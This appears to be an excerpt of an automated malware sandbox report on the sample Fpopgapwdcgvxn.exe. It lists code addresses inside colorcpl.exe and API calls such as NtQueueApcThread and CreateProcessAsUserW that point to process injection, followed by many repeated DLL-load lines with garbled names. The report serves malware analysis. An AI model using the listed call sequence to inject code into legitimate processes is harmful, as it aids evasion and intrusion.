Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E700591	3_2_1E700591
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E0274	3_2_1E6E0274
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C02C0	3_2_1E6C02C0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FA352	3_2_1E6FA352
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64E3F0	3_2_1E64E3F0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E7003E6	3_2_1E7003E6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D2000	3_2_1E6D2000
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C8158	3_2_1E6C8158
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E630100	3_2_1E630100
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DA118	3_2_1E6DA118
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F81CC	3_2_1E6F81CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F41A2	3_2_1E6F41A2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E7001AA	3_2_1E7001AA

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_0330CB08 InetIsOffline,CoInitialize,CoUninitialize,WinExec,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,CopyFileA,GetCurrentProcess,ExitProcess,

0_2_0330CB08

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ?????.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ???r????i.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Section loaded: ??.dll	Jump to behavior
